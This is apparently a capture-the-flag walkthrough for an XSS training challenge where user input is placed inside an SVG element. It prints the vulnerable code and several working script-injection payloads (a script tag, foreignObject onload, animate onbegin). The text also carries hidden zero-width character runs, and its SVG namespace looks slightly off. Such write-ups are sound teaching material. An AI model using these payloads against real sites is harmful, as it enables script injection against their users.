Easy 3

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: svg_context_xss, svg_script_injection

Summary

Walkthrough of the CUSTOM Web Easy 3. SiBears XSS School challenge. User input is placed inside an SVG element. Goal: execute prompt("sibears").

Description

SiBears XSS School challenge. User input is placed inside an SVG element. Goal: execute prompt("sibears").

URL: http://109.233.56.90:11659/xss/easy/3

Analysis

The escape function places user input inside an SVG document:

 js read-only • copy allowed Copy
function escape(s) {
  return '<svg xmlns="http://www.w3.org/1999/svg"> <circle r="10" fill="red"></circle>' + s + ' </svg>';
}

Key feature: SVG (Scalable Vector Graphics) is an XML-based format that supports embedded scripts. Unlike regular HTML context, SVG allows using the <script> tag directly inside it. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

SVG and JavaScript:

• SVG supports inline <script> tags
• Scripts inside SVG execute in the page context
• This makes SVG potentially dangerous with user input

Solution

Payload — simply add a script tag inside SVG:

<script>prompt("sibears")</script>

Resulting HTML:

 html read-only • copy allowed Copy
<svg xmlns="http://www.w3.org/1999/svg"> <circle r="10" fill="red"></circle><script>prompt("sibears")</script> </svg>

Breakdown:

• SVG context allows embedding <script> tags
• Script executes when SVG is rendered
• No need to escape the context — just add the script ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Alternative payloads for SVG:

• <script>prompt("sibears")</script> — direct script
• <foreignObject><body onload=prompt("sibears")></foreignObject> — via foreignObject
• <animate onbegin=prompt("sibears")> — via SVG animation events ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering svg_context_xss, svg_script_injection was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Easy 3 • Difficulty: Easy